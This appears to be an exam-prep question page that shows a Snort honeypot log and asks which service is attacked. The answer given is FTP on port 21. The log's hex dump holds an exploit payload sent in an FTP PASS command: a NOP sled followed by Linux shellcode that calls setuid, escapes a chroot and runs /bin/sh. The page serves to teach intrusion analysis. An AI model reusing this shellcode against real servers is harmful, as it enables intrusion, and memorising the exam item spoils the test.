PrepAway - Latest Free Exam Questions & Answers

Given the following extract from the snort log on a honeypot, what service is being exploited?

Given the following extract from the snort log on a honeypot, what service is being exploited?
12/09-01:22:31.167035 207.219.207.240:1882 -> 172.16.1.104:21
TCP TTL:50 TOS:0x0 ID:53476 DF
*****PA* Seq: 0x33BC72AD Ack: 0x110CE81E Win: 0x7D78
TCP Options => NOP NOP TS: 126045057 105803098
50 41 53 53 20 90 90 90 90 90 90 90 90 90 90 90 PASS ………..
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 …………….
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 …………….
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 …………….
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 …………….
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 …………….
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 …………….
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 …………….
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 …………….
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 …………….
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 …………….
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 …………….
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 …………….
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 …………….
90 90 90 90 90 90 90 31 C0 31 DB 31 C9 B0 46 CD …….1.1.1..F.
80 31 C0 31 DB 43 89 D9 41 B0 3F CD 80 EB 6B 5E .1.1.C..A.?…k^
31 C0 31 C9 8D 5E 01 88 46 04 66 B9 FF FF 01 B0 1.1..^..F.f…..
27 CD 80 31 C0 8D 5E 01 B0 3D CD 80 31 C0 31 DB ‘..1..^..=..1.1.
8D 5E 08 89 43 02 31 C9 FE C9 31 C0 8D 5E 08 B0 .^..C.1…1..^..
0C CD 80 FE C9 75 F3 31 C0 88 46 09 8D 5E 08 B0 …..u.1..F..^..
3D CD 80 FE 0E B0 30 FE C8 88 46 04 31 C0 88 46 =…..0…F.1..F
07 89 76 08 89 46 0C 89 F3 8D 4E 08 8D 56 0C B0 ..v..F….N..V..
0B CD 80 31 C0 31 DB B0 01 CD 80 E8 90 FF FF FF …1.1……….
FF FF FF 30 62 69 6E 30 73 68 31 2E 2E 31 31 76 …0bin0sh1..11v
65 6E 67 6C 69 6E 40 6B 6F 63 68 61 6D 2E 6B 61 englin@kocham.ka
73 69 65 2E 63 6F 6D 0D 0A sie.com..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
12/09-01:22:31.169534 172.16.1.104:21 -> 207.219.207.240:1882
TCP TTL:63 TOS:0x10 ID:48231 DF
*****PA* Seq: 0x110CE81E Ack: 0x33BC7446 Win: 0x7D78
TCP Options => NOP NOP TS: 105803113 126045057
35 33 30 20 4C 6F 67 69 6E 20 69 6E 63 6F 72 72 530 Login incorr
65 63 74 2E 0D 0A ect…
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
12/09-01:22:39.878150 172.16.1.104:21 -> 207.219.207.240:1882 TCP TTL:63 TOS:0x10 ID:48233 DF
*****PA* Seq: 0x110CE834 Ack: 0x33BC7447 Win: 0x7D78
TCP Options => NOP NOP TS: 105803984 126045931
32 32 31 20 59 6F 75 20 63 6F 75 6C 64 20 61 74 221 You could at
20 6C 65 61 73 74 20 73 61 79 20 67 6F 6F 64 62 least say goodb
79 65 2E 0D 0A ye…
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
12/09-01:22:39.880154 172.16.1.104:21 -> 207.219.207.240:1882
TCP TTL:63 TOS:0x10 ID:48234 DF
***F**A* Seq: 0x110CE859 Ack: 0x33BC7447 Win: 0x7D78
TCP Options => NOP NOP TS: 105803984 126045931

PrepAway - Latest Free Exam Questions & Answers

A.
SSH

B.
SMTP

C.
FTP

D.
Telnet

Explanation:
The connection is done to 172.16.1.104:21.

One Comment on “Given the following extract from the snort log on a honeypot, what service is being exploited?


Leave a Reply